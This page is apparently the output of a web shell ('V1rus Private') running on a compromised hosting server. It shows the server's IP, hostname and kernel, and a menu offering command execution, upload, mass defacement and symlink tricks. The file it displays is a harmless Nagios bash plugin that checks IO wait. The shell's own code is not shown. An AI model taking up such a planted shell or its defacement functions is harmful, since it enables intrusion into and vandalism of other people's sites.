V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_iowait
#!/bin/bash # failback values WARNING="45" CRITICAL="50" if [ ! -x /usr/bin/sar ]; then echo "UNKNOWN: sar binary not found" exit 3 fi IOWAIT=$(sudo sar 1 1 | awk '/all/{print $7}' | head -n 1 | cut -f1 -d".") while getopts w:c: flag do case "${flag}" in w) WARNING=${OPTARG};; c) CRITICAL=${OPTARG};; esac done if [ "$IOWAIT" -ge "$CRITICAL" ] then echo "CRITICAL: IOWait is at $IOWAIT %"; exit 2; elif [ "$IOWAIT" -ge "$WARNING" ] then echo "WARNING: IOWait is at $IOWAIT %"; exit 1; else echo "OK: IOWait is $IOWAIT %" exit 0; fi
Coded With 💗 by
HanzOFC